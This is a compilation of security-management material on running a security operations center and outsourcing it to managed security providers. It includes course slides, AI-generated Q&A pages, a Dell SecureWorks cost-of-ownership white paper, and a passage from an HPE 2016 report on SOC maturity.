Managing Security OperationsSelf-Assessment Outsourcing •Vulnerability Assessment is frequently outsourced •Many third parties will happily scan your networks for you •Reasonable task to define specific conditions, specific deliverables, and transfer responsibility •Many options to choose from provide this serviceVulnerability Assessment 20 MGT517 | Managing Security OperationsSelf-Assessment Outsourcing •Penetration Testing is almost always out -sourced •Large number of companies to perform pen tests •Most are glorified vulnerability scans •What’s the difference? Creativity and the relentless drive to compromise systems. Also, the authority to exploit, versus having to stop before exploitation.Penetration Testing 21 MGT517 | Managing Security OperationsSelf-Assessment Outsourcing •Exercises are best in -sourced, but there’s a unique thing that happens with exercises that are outsourced: Management pays attention to the results •Outsourced design and performance of exercises with internal direction and coordination is the most common scenarioExercises 22 MGT517 | Managing Security OperationsOutsourcing Staffing •Your internal processes well defined •Effective interfaces Inputs Artifacts •SLAs Escalation requirements SpeedManaging Outsourced Relationships 23 MGT517 | Managing Security OperationsOutsourcing Staffing •Cost •Capability •Scalability •Flexibility •Industry familiarity •Extractability (are you locked in?)Outsource Partner Selection Criteria 24 MGT517 | Managing Security Operations Upcoming Beta #2 Washington, DC Nov. 28 – Dec 2 SANS 2017 Orlando, FL April 9 – 13 Threat Summit New Orleans,LA April 20 - 24 --- ## Source: https://montance.com/questions.php?id=75 [![pdf](content/images/icons/pdf.svg) SANS - Webcast - Designing and Building a SOC In-house vs Out-Sourcing.pdf](https://drive.google.com/file/d/0B9l-G6EuipZgRkxYVzdRellUOE0/view?usp=sharing) Sans Webcast Designing And Building A SOC In House Vs Out Sourcing Comparison of in-house versus outsourced SOC models. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What is the 'Hybrid SOC' model advocated in the webcast? A: Retaining core incident response and threat hunting expertise in-house while outsourcing 24/7 monitoring and log collection to an MSSP. * Q: What is the primary hidden cost of an 'In-house Only' SOC? A: The high cost of recruiting, training, and retaining skilled staff, and the overhead of managing 24/7 shifts. * Q: What is the major downside of 'Fully Outsourced' security? A: The lack of business context and the potential for a 'black box' service where the organization loses visibility into its own data. * Q: What criteria should be used to select an MSSP? A: Their ability to integrate with your specific technology stack, their SLAs for detection (not just notification), and data ownership policies. * Q: What is the 'Co-Managed' SIEM approach? A: A model where the organization owns the SIEM license and data, but the MSSP manages the infrastructure and provides the first layer of monitoring. * Q: When is 'Outsourcing' the best option? A: When the organization lacks the scale or budget to sustain a minimum effective team (usually <5 security staff). * Q: What is the 'Data Sovereignty' consideration? A: Ensuring that an outsourced provider keeps your data within required legal jurisdictions (e.g., GDPR requirements). * Q: How does the webcast suggest measuring MSSP performance? A: Through regular 'purple team' exercises where you simulate attacks to test if the provider detects and reports them according to the SLA. * Q: What is the 'Vendor Lock-in' risk with MSSPs? A: The difficulty of migrating historical logs and knowledge if you decide to switch providers or bring the function in-house. * Q: What is the '24/7' fallacy? A: The assumption that bad things only happen at night; often, the most critical need for expertise is during business hours when users are active. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/0B9l-G6EuipZgY3IxYk9wemxhSTg/view?usp=sharing **[PDF Extracted from Google Drive: https://drive.google.com/file/d/0B9l-G6EuipZgY3IxYk9wemxhSTg/view?usp=sharing]** Going the MSSP Route Understanding Total Cost of Ownership Issues Dell Confidential Page 1 When determining the most cost-effective way to sec ure your organization, be sure to fully evaluate the cost-benefit tradeoffs betwee n managed security service providers (MSSPs) and in-house solutions. Introduction As information security becomes both more important and more complex for enterprises of every size, business model and industry, IT organizations are confronting strategic decisions on how best to secure their companies’ most vital assets. Whether its customer records, confidential employee information, intellectual property or ensuring the ability to pass the next compliance audit, IT decis ion- makers are grappling with how best to resource this vital set of functions. Although working with managed service providers and outsourcing firms has become a standard practice for IT organizations for many years, IT de cision-makers only recently have started to more aggressively work with specialized service provider s for information security. These days, its common practice for companies to evaluate the benefits of hiring these firms as opposed to managing security tasks internally. This white paper is designed to help IT professiona ls understand how best to analyze and evaluate the benefits of working with an MSSP organization in a critical context understood and appreciated by both IT and non-IT managers: Total Cost of Ownershi p (TCO). Dell Confidential Page 2 Make or Buy? Putting MSSP Evaluation into a TCO Context Core versus context. For decades, companies have used this yardstick to help guide their decision-making process for addressing IT capabilities. Conventional wisdom holds that tasks that are part of a company’s core capabilities and contribute to its competitive advantage should, for the most part, be handled internally, while those that provide operational support for those capabilities should be outsourced to an external expert. At the heart of this build-versus-buy decision (in-source versus outsource) are economic considerations: Does it cost an enterprise more to manage certain IT functions internally than it does to entrust an experienced third party to do it? As IT security has become more complex and more expensive to manage—and as IT budgets have been squeezed—many companies have analyzed the best economic solution to the IT security beast. More and more often, a comprehensive total cost of ownership (TCO) analysis points to the benefits of using an experienced managed security service provider (MSSP). While evaluating the possibility of going with a service provider on a core-versus-context ba- sis is hardly a new approach, the basis for that evaluation has changed. “Twenty years ago, that decision was driven largely by the desire to shift the cost of IT staff and facilities off your books,” pointed out Joe Panettieri, editorial director of MSPMentor.com, which tracks the MSP community. “Now, the focus is about how to deliver IT services such as security in a cost- effective, yet expert manner.” This move toward outsourcing certain IT se- curity functions is borne out in a recent survey conducted by Tech Target over more than 150 IT security professionals. Those survey respon- dents indicated a growing movement among their firms toward hiring MSSPs to carry out a variety of security-related tasks: Nearly 60 percent of both IT and non-IT respondents to the survey said they felt positive toward out- sourcing as an IT security strategy, primarily due to such factors as cost savings, access to specialized security expertise, cost predictabil- ity and 24/7/365 security monitoring. More than 20 percent of the survey respondents said their organizations either will begin using MSSPs for the first time this year or will increase their usage of those partners’ services, while an additional 21 percent said they will at least maintain their current usage levels of MSSP services. When determining the economic benefit of using an MSSP for security functions, IT deci- sion-makers need to understand both the direct and indirect costs associated with carrying out those security tasks. While quantifying indirect costs is subject to some debate, there’s little doubt that they should be part of the evaluation process. Perhaps the most important reason is that in order to make an apples-to-apples comparison, IT managers must understand their full cost of IT security operations – and this is where many TCO analysis projects fail to yield actionable data. “The only way to do a fair and accurate TCO analysis is for a company to ask itself, ‘What do we actually pay for this service?’ ” according to Paul Pinto, managing partner of SylvanVI, an IT consulting firm. “Many companies often overlook stuff that a very sharp IT executive will intuitively understand, or be able to find out the answer to. It’s not just a matter of saying, ‘I t costs us X to secure the enterprise,’ but putting it in relevant business terms, such as the price per customer transaction or the cost per email filtered.” Experts agree that it all comes down to getting a good handle on all relevant costs that, as Dell Confidential Page 3 best as can be determined, can be isolated to security activities. It’s a bit trickier to do that today than it was years ago, because security is often embedded into most IT operations. But a balanced analysis of security TCO on an inter- nal or external basis should include the follow- ing cost considerations: • Internal security staff: Because security today is much more than anti-virus software or spam filtering, more resources are necessary to ensure the security of a company’s vital assets. For a typical enterprise-class IT organization, security monitoring and management will probably require at least five full-time employees. Average U.S. base salary for an IT security administrator is $80,000 according to salary.com, so you’re talking about $400,000 in direct costs – to start. Of course, that’s just a piece of the cost structure. Most conservative financial estimates put incremental staff-related costs at a minimum of 50 percent of salary, to accommodate such costs as taxes, benefits, training and “overhead” such as office space, utilities, technology support, etc. That bumps up your annual direct staff costs to at least $600,000 for an average- sized enterprise. And, reminds Pinto of SylvanVI, “Don’t forget that a typical IT employee turns over in 18 months, so you have to account for costs to hire and train new employees to the point where they can be as productive as the person who just left.” Additionally, you need to consider the costs associated with having a vacant position unfilled for some time: Will other staff members have to pick up the slack in the interim, perhaps incurring overtime costs? What projects will be delayed and deferred while they fill in the gap? For many companies, just being able to save on the internal staff costs is the biggest reason to justify moving key security functions to an MSSP—a finding that was prominent in the Tech Target research study. • Infrastructure costs: Although IT organiza- tions will continue to need hardware such as servers, storage and security appliances, using an MSSP will mitigate the need for additional investments to acquire, deploy and manage equipment for security management and monitoring – now and in the future. The same holds true for SIEM-related software; a key advantage to working with MSSPs is that they are already utilizing the most up-to-date security tools on the market, and have figured out how to make them work with other, often- incompatible tools across a wide variety of hardware and software platforms. Additionally, MSSPs already have made sizeable investments in their own hardened environments, called Security Operations Centers (SOCs), alleviating the need for customers to make the same levels of investments in data centers and network monitoring facilities. • Compliance costs: Working with an MSSP allows your IT organization to reduce the time and effort needed to comply with audit requirements when the auditor sees the evidence of controls that the MSSP is supporting through its services. Working in concert with in-house IT or- ganizations, MSSPs are a responsive, cost- effective asset to deploy and improve certain controls required for compliance mandates. MSSPs are expected to stay current on both broadly applied mandates and more obscure, narrowly focused compliance statutes, often providing even more specialized knowledge of those statutes than the internal staff possesses. • Security event response costs: In 2010, the new “Here you have” worm attacked Windows PCs as a seemingly innocuous link with an email message. Mydoom. The virus distributed more than a million infected emails around the world in just 24 hours. Obviously, no one was prepared for the worm because no one saw it coming, but more importantly, very few people knew how to deal with it. Consider the real-world example of a user connecting a compromised notebook PC to the organization’s backbone network. Suddenly and at lightning speed, it Dell Confidential Page 4 begins to infect other systems and transmits sensitive data out through the Internet. What chance does an understaffed, overworked in- ternal IT team have to spot that potentially devastating event before huge damage is done? Because MSSPs work with a wide variety of customers, chances are good that they know the telltale signs of trouble and can remedy the situation as soon as the notebook connects to the network. All this sounds good in theory—and, it often looks good on paper when you line up fully loaded internal costs side by side with monthly fees charged by an MSSP for those same services. In fact, Forrester Consulting conducted an independent Total Economic Impact study for managed security services used by a large, U.S.-based media company. That study revealed that using managed security services from Atlanta-based Dell SecureWorks saved the company more than $3 million over a three-year period. But everyone agrees that the key to realizing value from an MSSP is its ability to deliver those high-quality services at prices that do represent actual hard-dollar savings versus internal staff. As more companies work with MSSPs, success stories point out how small and large companies alike have seen real- world benefits. For instance, take Encysive Pharmaceuticals, a Houston-based healthcare and biopharma- ceuticals company with about 150 employees. Encysive was looking to insulate itself against cyberthreats, but didn’t feel comfortable taking on the cost of additional staff to meet the challenge. After evaluating several MSSP options, it selected Dell SecureWorks to provide the necessary skills and to achieve a lower TCO. “It’s much better to partner with an expert to help manage and monitor your firewall on a 24/7 basis – for us, it works extremely well,” said Carl Burquist, senior network administrator for Encysive. At the other end of the spectrum, consider the case of 3,200-employee Concord Hospital, a New Hampshire-based healthcare facility. A small but capable internal team was increasingly being taxed by regulations such as HIPAA and Payment Card Industry (PCI) mandates, as well as the need to upgrade its firewall solutions to safeguard against new security threats. Although Concord’s parent organization, Capital Region Health Care, had used an MSSP for 24/7 network monitoring, it was looking for a more cost-efficient solution that could also handle the event logging model necessary to ensure more effective threat identification and resolution. By working with Dell SecureWorks, Concord not only saved money but improved overall security moni- toring and event management. These are just a few situations where the most fundamental security task of “keeping the bad guys out” makes all the sense in the world for an MSSP, according to John Pescatore, vice- president at IT consulting and research firm Gartner Inc. “Things like intrusion protection, firewall, antivirus and other functions where the threats are changing often, these are cases where MSSPs are far more likely to be on top of the changes than an in-house staff,” he said. And, if an organization needs 24/7 coverage— and these days, that applies to more and more companies—then it usually makes more economic sense to contract with an MSSP than to hire five or more full-time staff to provide the same level of monitoring and management. Of course, saving money is important – vital, in fact. But it’s not the only benefit organizations can attain by working with MSSPs. A major rea- son why working with an MSSP can reap tangible benefits is simply the MSSP’s ability to keep the organization protected and operating with greater effectiveness than an internal staff. Working with an MSSP allows an organization to lever age the collective experience and expertise of an MSSP’s staff, which typically holds numerous advanced certifications in security and devote a sizeable portion of their workweek to ongoing training and education to spot newly emerging threats before they strike. Dell Confidential Page 5 “When it comes to keeping up with the latest risks, and having the training necessary to deliver best-of-breed security services, MSSPs are generally in a much better position than in- house staff which often is manned by IT generalists rather than security experts,” pointed out Jeff Kaplan, managing director of Think Strategies, an IT strategy consulting firm. He added that utilizing MSSPs for security tasks also creates an important benefit by allowing internal staff to concentrate on activities that address an organization’s core competency, rather than sit in front of a monitor eight hours at a time. Summary As IT budgets continue to be under pressure and com panies look to maximize the value of all investments, small and large organizations alike to moving toward a managed services model for fulfillment of a wide variety of security functions . While many companies claim to offer managed security services, very few of them actually priori tize it as a full-fledged practice….and even fewer of them have the resources and experience to bring to bear on behalf of large and small companies alike across different industries. Careful financial analyses have demonstrated the TC O benefit in using an MSSP can be substantial, both in terms of actual dollars saved and by allowi ng internal staff to be redeployed on activities th at are closer to a company’s core competency. Since mo st MSSP costs are subscription-based, those don’t impact a company’s capital budget. IT manager s usually find it easier to get approval for operating expenses than capital expenses. When the relationship with an MSSP is managed properly, IT organizations benefit from having best-of-breed cap abilities available to them on a “rental” basis instead of having to beg their CFO or other senior executives for additional staff—only to risk having it downsized in difficult business cycles. In both economic booms and recessions, that kind of financial flexibility is extremely attractive to organizations. About Dell SecureWorks Should you have any questions about how Dell Secure Works can help your organization manage your security program with greater efficiency and effect iveness, contact your account manager, email info@secureworks.com or call (877) 905-6661. Dell Inc. (NASDAQ: DELL) listens to customers and d elivers worldwide innovative technology and business solutions they trust and value. Recognized as an industry leader by top analysts, Dell SecureWorks provides world-class information securi ty services to help organizations of all sizes protect their IT assets, comply with regulations an d reduce security costs. --- ## Source: https://montance.com/questions.php?id=74 [![pdf](content/images/icons/pdf.svg) SecureWorks - going the mssp route - tco issues.pdf](https://drive.google.com/file/d/0B9l-G6EuipZgY3IxYk9wemxhSTg/view?usp=sharing) Secureworks Going The MSSp Route TCO Issues Paper discussing Total Cost of Ownership considerations for MSSPs. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: How does SecureWorks define 'Total Cost of Ownership' (TCO) for a SOC? A: It includes not just hardware and software costs, but also facility costs, power/cooling, recruitment, training, benefits, and ongoing tuning/maintenance. * Q: What is the 'economies of scale' argument for MSSPs? A: MSSPs can spread the cost of expensive threat intelligence, advanced tools, and 24/7 staffing across hundreds of customers, lowering the per-customer cost. * Q: What specific 'Hidden Cost' of in-house SIEM does the paper highlight? A: The continuous effort required to parse new log sources, create new correlation rules, and tune out false positives. * Q: How does the paper address 'Staff Attrition'? A: It argues that MSSPs are better equipped to handle turnover because they have a larger pool of analysts and established training pipelines. * Q: What is the 'Capital Expense' (CapEx) vs. 'Operating Expense' (OpEx) argument? A: MSSPs allow organizations to shift security costs to a predictable OpEx model, avoiding large upfront CapEx investments in hardware and software. * Q: What is the benefit of 'Global Visibility' offered by an MSSP? A: The ability to see attacks across a diverse customer base and proactively protect other customers from the same threat. * Q: How does SecureWorks counter the 'Loss of Control' objection? A: By offering customer portals that provide transparency into the alerts, tickets, and actions taken by the MSSP. * Q: What is the 'Time to Value' comparison? A: An MSSP can be operational in weeks, whereas building a mature in-house SOC can take 12-24 months. * Q: What is the '24x7x365' staffing challenge cited? A: The difficulty for most organizations to find and keep 10-12 qualified people willing to work nights, weekends, and holidays. * Q: What is the 'Focus on Core Competency' argument? A: That for most non-security companies, building a SOC is a distraction from their primary business mission. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/0B9l-G6EuipZgeHVJVHBEUThaTUU/view?usp=sharing **[PDF Extracted from Google Drive: https://drive.google.com/file/d/0B9l-G6EuipZgeHVJVHBEUThaTUU/view?usp=sharing]** Business white paper State of Security Operations 2016 report of capabilities and maturity of cyber defense organizations Business white paper Table of contents 3 Introduction 4 Abstract4 Executive summary 6 Summary of findings 7 Relevance of our data—qualification to present this report 8 Security operations maturity model and methodology 9 Regional trends 10 Category medians 11 Industry summary 12 Customer case studies 14 Findings22 Conclusion23 About HPE Security Introduction This is the third annual State of Security Operations report and I am excited to join this team at such a pivotal moment in the evolution of security monitoring. Over the last three years, the industry has seen the transformation of IT to hybrid models including cloud, mobile, social, and Big Data, as well as a continued focus on cost management within the security operations center (SOC). These forces are putting pressure on cyber defense centers to keep pace with the New Style of IT while consuming fewer resources. This, coupled with the continued collaboration and professionalization of the attacker community, explains the year-over-year decline in overall security operation maturity that we are reporting for 2015. This decline in maturity and effectiveness leads us to believe there is a transition needed in the modern SOC. Hewlett Packard Enterprise sees this as a pivotal moment for SOC leaders to adapt and re-invent their operations in order to show definitive value to the business. We did observe a few adaptive trends in the more modern SOCs in the form of hunt teams, deception grids, and data analytics-driven security. As a consulting practice in our own network of SOCs, Hewlett Packard Enterprise has dedicated time and resources to these types of innovative techniques that leverage the power of data and analytics to stay ahead of the adversary. As businesses continue to adopt new cloud and mobile functionality rapidly, we find the edges of the network even more blurred, and our definitions of data ownership and breach responsibility continue to evolve. Staffing and training continue to be the foremost challenge of the modern SOC. This is paving the way to hybrid staffing models and hybrid infrastructures that require less in-house expertise. As a result, highly skilled security team members can then be utilized for a more specialized hunt and analytics-focused work. There is no question this year has been both an exciting and challenging time to be in the field of cyber security. On one hand, it is disheartening to see the continued decline in the maturity and effectiveness of security operations, while, on the other, I know that we are in the middle of an exciting and transformative change in our field. You can feel it. We must go where the data leads us, and we believe that is to widen our definition of security operations to leverage analytics, data science, Big Data, and shared intelligence to become more effective in protecting today’s digital enterprise. Chris Triolo HPE Vice President, Security Product Global ServicesBusiness white paper Page 3 Abstract Organizations around the globe are investing heavily in information technology (IT) cyber defense capabilities to protect their critical assets. Whether protecting a brand, intellectual capital, and customer information or providing controls for critical infrastructure, the means for incident detection and response to protect organizational interests have common elements: people, processes, and technology. The maturity of these elements varies greatly across individual enterprises and industries. In the State of Security Operations Maturity report, Hewlett Packard Enterprise provides updates to the capabilities, lessons learned, and performance levels of security operations based upon maturity assessments performed on worldwide organizations. Hewlett Packard Enterprise has over a decade of experience in supplying information security technology to world’s most advanced cyber defense and enterprise SOCs. We have worked with more of the world’s top cyber defense teams than any other IT security organization, so we are uniquely qualified to publish this report. Executive summary HPE Security Intelligence and Operations Consulting (SIOC) has assessed the capability and maturity of 114 discreet SOCs in 154 assessments since 2008. The maturity assessments include organizations in the public and private sectors, enterprises across all industry verticals, and managed security service providers. Geographically, these assessments include SOCs located in 26 countries on six continents . This is the largest available dataset to draw conclusions about the state of cyber defense and enterprise security operations around the globe.Business white paper Page 4 The HPE methodology for assessments is based on the Carnegie Mellon Software Engineering Institute Capability Maturity Model for Integration (SEI-CMMI) and has been updated at regular intervals to remain relevant with current information security trends and threat capabilities. The focus of the assessments is inclusive of the business alignment, people, process, and technology aspects of the subject’s security operations. The reliable detection of malicious activity and threats to the organization, and a systematic approach to manage those threats are the most important success criteria for a mature cyber defense capability. The ideal composite maturity score for a modern enterprise cyber defense capability is level 3—where the capability is “defined.” This is achieved with a complimentary mixture of agility for certain processes and high maturity for others. Hewlett Packard Enterprise has observed that higher levels of maturity are costly to achieve and that in the quest for higher maturity, operations often suffer from stagnation, rigidity, and an overall low level of effectiveness. Cyber defense teams (or providers offering managed SOC services) who aspire to achieve maturity levels of “5” lack an understanding or appreciation of the nature of such capabilities and the threats they are defending against. Given an agile and adaptive threat actor, optimizing for repeatability and consistency is only marginally effective. Managed security service providers (MSSPs) should target a maturity level of between 3 and 4 due to the need for consistency in operations and the potential penalties incurred for missed service commitments—yet, there is a compromise in agility, effectiveness, and breadth that the MSSP and its customers accept with this level of maturity. Once the ideal maturity level is achieved, a cyber defense team’s focus should be to evolve capabilities continually, to keep pace with a rapidly evolving threat landscape. While the fifth-generation (5G/SOC) of security operations is still evolving, they are best equipped to recognize the change in the threat landscape and are approaching the challenge holistically. They are training analysts in security counter-intelligence, surveillance, criminal psychology, and analytical thinking to augment the technology investment. Most organizations have not implemented a 5G/SOC but those who have, seem to have benefited greatly from the intelligence-driven methodologies, information sharing, and the human adversary approach. The industry is still struggling with measuring the cost of cyber security breaches upon commercial organizations. The adage had been that the impact following an adverse security event was measurable through declining stock prices. Yet, a few months and years after highly visible breaches of entertainment, financial services, banking, and investment, as well as retail organizations it is clear that beyond the immediate uncertainty, investors and consumers are not penalizing those organizations. Market data shows that recovery, as far as stock price is concerned, takes a few weeks. Business disruption and data loss do represent the greatest cost components of significant security events. 1 Following a breach, recovering organizations do face long-term effects on profitability such as higher costs from new security programs, litigation, and organizational turnover. This report summarizes data gathered during maturity assessments performed by Hewlett Packard Enterprise and shares enterprise security trends pertaining to the current state of this important security function, including common mistakes, and the lessons that can be learned from them. The intent of this report is to expose and drive the capability and maturity of cyber defense teams as organizations move into the fifth generation of security operations centers .Business white paper Page 5 To learn more about 5G/SOC, visit hpe.com/software/5gsoc 1 Cost of Cyber Crime Study, Ponemon, October 2015The ideal composite maturity score is a level 3—“defined.” Hewlett Packard Enterprise has found that over the last five years, 25 percent of cyber defense organizations that were assessed failed to score a security operations maturity model (SOMM) level 1. This is aligned with the current year finding that 24 percent score below a 1. We find that a quarter of security organizations operate in an ad-hoc manner with undocumented processes. In 2015, only 15 percent of assessed organizations are meeting business goals and are working toward or have achieved recommended maturity levels. This leaves 85 percent of organizations that are not achieving the recommended maturity levels, which is slightly lower than last year’s findings. The assessments have shown some interesting trends: • The mind-shift to the “we’ve already been breached” way of thinking has fueled the industry’s adoption of hunt teams and analytics solutions. When implemented properly, these teams and tools help organizations identify attackers that have gotten past the traditional security measures in place. Most organizations are striving for analytics capabilities while only a few are mature enough to benefit significantly from these tools and programs. • Access to skilled security resources continues to be the main concern of enterprises. To deal with this, organizations are moving toward hybrid staffing and hybrid security infrastructure models. These new models require less in-house expertise while retaining control over critical pieces of the security organization’s detection capability. • Another result of the staffing squeeze is an increased adoption and investment in security orchestration and automation. Organizations are looking to streamline incident investigation and remediation so that the more highly skilled (expensive) resources can be utilized for breach investigations and hunt team. A key element in the uneven distribution of maturity results across industries can be directly correlated with the experience of negative financial impact from malicious attacks. This means that the organizations that recognize the business criticality of protecting their enterprises, or those who have experienced direct financial loss due to malicious attacks, do a better job of maturing to a higher level. This group of organizations recognizing the true financial impact of a breach is growing dramatically . Summary of findings The Hewlett Packard Enterprise assessments of organizations worldwide continue to show the median maturity level of cyber defense teams remain well below optimal levels. Many of the findings and observations from the previous State of Security Operations 2 report are still valid. Additionally, the following observations and findings were made: • Migration to hybrid infrastructure— there is a significant increase in the need for security operations for hybrid IT infrastructures; within the cloud, from the cloud, and across the cloud, as IT organizations take advantage of modern computing methods. There is an industry misperception that adoption of cloud equals transferred risk. This is not the case. Risk persists and unless the hosted solution includes infrastructure components to retain situational awareness, SOCs are losing the ability to monitor critical applications and data. • Hybrid staffing— as a reaction to industry personnel shortages, organizations are implementing an MSS overlay of managed security information and event management (SIEM) or off-hours monitoring. This allows the organization to retain the technology and security information but lean on external resources for level 1 monitoring. They typically keep level 2 and incident response capabilities in-house. • Advancements in incident and investigation orchestration— tools such as incident response case management and operational orchestration are being adopted from the IT operations world to automate manual post detection activities.Business white paper Page 6 2 State of security operations (2015 report of capabilities and maturity of cyber defense organizations) hpe.com/software/StateofSecOps2015 • Disaster recovery is still a priority— the fear of getting “bricked” by an attack requires organizations to maintain solid business continuity and disaster recovery programs. • Is Hunting replacing monitoring?—some organizations that are not able to make an OPEX investment in people, subscriptions, and processes are turning to fast search capabilities instead of monitoring solutions. These organizations are not reaching minimum security capabilities and are operating without any real-time monitoring abilities. • Using SOC as a competitive advantage— security operations capabilities are being used as a selling point for organizations. It showcases their commitment to security and ability to monitor for threats. • Regional impact from unions— employee protection in some markets does not allow information security (InfoSec) managers to develop talent from within, manage up, or manage out. This limits the capabilities and advancement of a security organization. • Global cyber security agreements— an increase in global agreements between countries to limit or stop cyber-attacks on each other has occurred over the last year. The effects of these agreements have not yet been noticed in cyber defense centers around the globe. • Variation in role definition— there remains a lot of variation, especially in mid-market enterprises, around role definition of the CISO and the security organization. The CISO role can vary greatly from enterprise to enterprise based on diversity of industries, organizational reporting structures, enterprise size, and IT security budget. • Overwhelming number of vendors— vendor management remains a top time requirement for CISOs. Reliance on partners and service integrators is necessary for larger enterprises. • Information sharing is increasing— the sharing of threat information continues to increase. Reliance on government provided threat information is decreasing due to the perceived lack of timeliness. This increase can have a negative effect as analysts lose time by chasing alarms for indicators that are more nuisance than directed threat. Relevance of our data—qualification to present this report HPE Security Products portfolio includes the industry-leading HPE ArcSight suite of logging and SIEM products as well as services. The HPE ArcSight Enterprise Security Management (ESM) products revolutionized the modern SIEM market. SIEM is often referred to as a “force multiplier” for security technologies and is at the core of modern cyber defense and security operations teams. SIEMs perform centralization and correlation of discrete data types, enable intelligent correlation of that data, integrate business and asset context, provide an interface for investigation and operational workflow, as well as generate metrics and reports. The SIEM is the technical nerve center of the cyber defense program and SOC. Hewlett Packard Enterprise formed the SIOC practice in 2007, dedicated to defining SOC best practices and building enterprise-class SOCs. This team combined the experience gained while implementing SIEMs within SOCs since 2001 with experts who have designed, built, and led SOCs for some of the world’s largest organizations. Since its inception, the SIOC team has iteratively matured a methodology for SOCs that has been adopted worldwide by dozens of organizations. Hewlett Packard Enterprise created the SOMM in 2008 to help clients by assessing their current SOC state against industry best practices and individual goals. We also built plans based on experience to close the gap in an effective and efficient manner. The SOMM is not a self-assessment that can lead to misleading results, but rather an objective review of an organization’s capabilities led by a subject-matter expert. The elements of the assessment within the SOMM are based on the HPE SIOC methodology, as derived from over a decade of experience in dozens of enterprise SOC environments. Our industry-leading products, proven methodologies, and a decade of experience with the largest dataset of its kind make Hewlett Packard Enterprise uniquely qualified to produce this report.Business white paper Page 7 SOMM LEVEL RATING DESCRIPTION Level 0 Incomplete Operational elements do not exist. Level 1 Initial Minimum requirements to provide security monitoring are met. Nothing is documented and actions are ad hoc. Level 2 Managed Business goals are met and operational tasks are documented, repeatable, and can be performed by any staff member.Compliance requirements are met. Processes are defined or modified reactively. Level 3 Defined Operations are well defined, subjectively evaluated, and flexible.Processes are defined or modified proactively. This is the ideal maturity level for most enterprise SOCs. Level 4 Measured Operations are quantitatively evaluated, reviewed consistently, and proactively improved utilizing business and performance metrics to drive the improvements. This is the ideal maturity level for most managed service provider SOCs. Level 5 Optimizing Operational improvement program has been implemented to track any deficiencies and ensure all lessons learned to continually drive improvement. Processes are rigid and less flexible, and significant overhead is required to manage and maintain this maturity level, outweighing the benefits achieved.Security operations maturity model and methodology The CMMI is a process improvement approach that provides organizations with the essential elements of effective information security processes. It can be used to guide process improvement across a project, division, or an organization. The CMMI helps integrate traditionally separate organizational functions, set process improvement goals and priorities, provide guidance for quality improvement, and offer a point of reference for appraising current processes. Hewlett Packard Enterprise has modified the CMMI approach to measure the maturity of an organization’s security operations capability effectively. The HPE model, SOMM, focuses on multiple aspects of a successful and mature security intelligence and monitoring capability including people, process, technology, and the supporting business functions. The SOMM uses a five-point scale similar to the CMMI model. A score of “0” is given for a complete lack of capability while a “5” is given for a capability that is consistent, repeatable, documented, measured, tracked, and continually improved upon. Organizations that have no formal threat monitoring team will typically score between a level 0 and level 1 because even an organization with no formal full-time equivalent (FTE) or team performs some monitoring functions in an ad-hoc manner. The most advanced security operations centers in the world will typically achieve an overall score between a level 3 and level 4—there are very few of these organizations in existence today. Most organizations with a team focused on threat detection will score between a 1 and 2. Some areas should be rigid, repeatable, and measured while other areas should be flexible, agile, adaptable, and nimble.Business white paper Page 8 SOCs typically have a large number of processes and procedures. SOMM offers a great architecture to help organize, maintain, and improve this body of work. For most organizations, a consolidated aggregate score of SOMM level 3 is an appropriate goal. Some areas should be rigid, repeatable, and measured while other areas should be flexible, adaptable, and nimble. The mixture of rigid and flexible processes and procedures allows a mature SOC to provide effective monitoring with an aggregate maturity score of 3. This maturity level ensures that critical processes and procedures are documented. They are subject to demonstrable, measured improvement over time, while still allowing deviations and ad-hoc processes to emerge to address specific threats or situations. In practical terms, this means that any given analyst on any shift, in every region will execute a given procedure in exactly the same manner. Additionally, when an analyst finds an error or a change is needed in operational procedures, they can make an on-the-spot correction and all subsequent analysts will benefit immediately from the improvements. The HPE SOMM assessment focuses on four major categories, each of which has several subcategories. Aspects of people, process, technology, as well as business alignment are reviewed using a mixture of observation and interview techniques. Organizations being assessed are asked to demonstrate documented proof of claims made during interviews in order to ensure that scores are not artificially inflated. These four main categories and all subordinate areas are scored independently. They use a weighted average technique and combine to create an overall SOMM maturity score for the organization. This approach allows an organization to track maturity growth in each category or subcategory to identify areas of opportunity or strength in addition to focusing on the overall combined score. Regularly scheduled assessments allow SOCs to measure maturity growth over time. However, the growth curve is logarithmic, therefore, major gains are achieved initially, and the SOC will see smaller gains in maturity as time progresses. Organizations must continue their maturity focus to avoid slipping backward on the maturity scale. SOCs with a funded and dedicated effort that leverages an existing framework and expert consulting can achieve an aggregate maturity score of 2.0 within a year, 2.5 within two years, and 3.0 within three years. Organizations that opt to build such operations independent of an existing framework or experienced program management will struggle to meet and maintain a level of 1.5. Regional trends There are only minor discrepancies in regional maturity and capabilities across the globe. While SOCs across Europe (BeNeLux, DACH, Nordics, and the UK) and North America have typically experienced slightly higher SOMM scores, HPE SIOC’s access to organizations in South America has resulted in noticeable improvements in the past year. This is due to an increase in investment in the areas of security monitoring, operations, managed services, and automation. The MENA region (Middle East, and North Africa) experiences lower SOMM scores speculatively based on smaller investments as well as due to its focus on the people and process aspects of their security programs.Business white paper Page 9 Business MissionAccountabilitySponsorshipRelationshipDeliverablesVendor engagementFacilitiesPeopleGeneralTrainingCertificationsExperienceSkill assessmentsCareer pathLeadership ProcessGeneralOperational processAnalytical processBusiness processTechnology process TechnologyArchitectureData collectionMonitoringCorrelationGeneral Figure 1: Median SOMM per regionBusiness white paper Page 10 Category medians Over the course of seven years, Hewlett Packard Enterprise has performed 154 SOC maturity assessments around the globe. This data sample set allows Hewlett Packard Enterprise to draw conclusions about the overall maturity of the cyber defense programs in place at the world’s largest companies. In each of the areas measured, the industry median score continues to fall between a 1 and 2. For the first year ever, we see that the business SOMM area has overcome technology with the strongest median score of 1.50. This is consistent with the rapid maturity growth in the business areas that we have seen for the past few years and mirrors the impact of security to an entire business and not just an IT organization. Technology remains strong with the second-highest SOMM scores with a median of 1.46. Technology has traditionally scored the highest because engineering and technology deployment tasks are usually the focus in most enterprise security organizations. Business maturity has increased significantly in the last two years presumably due to the heightened awareness of threats from high-profile breaches. 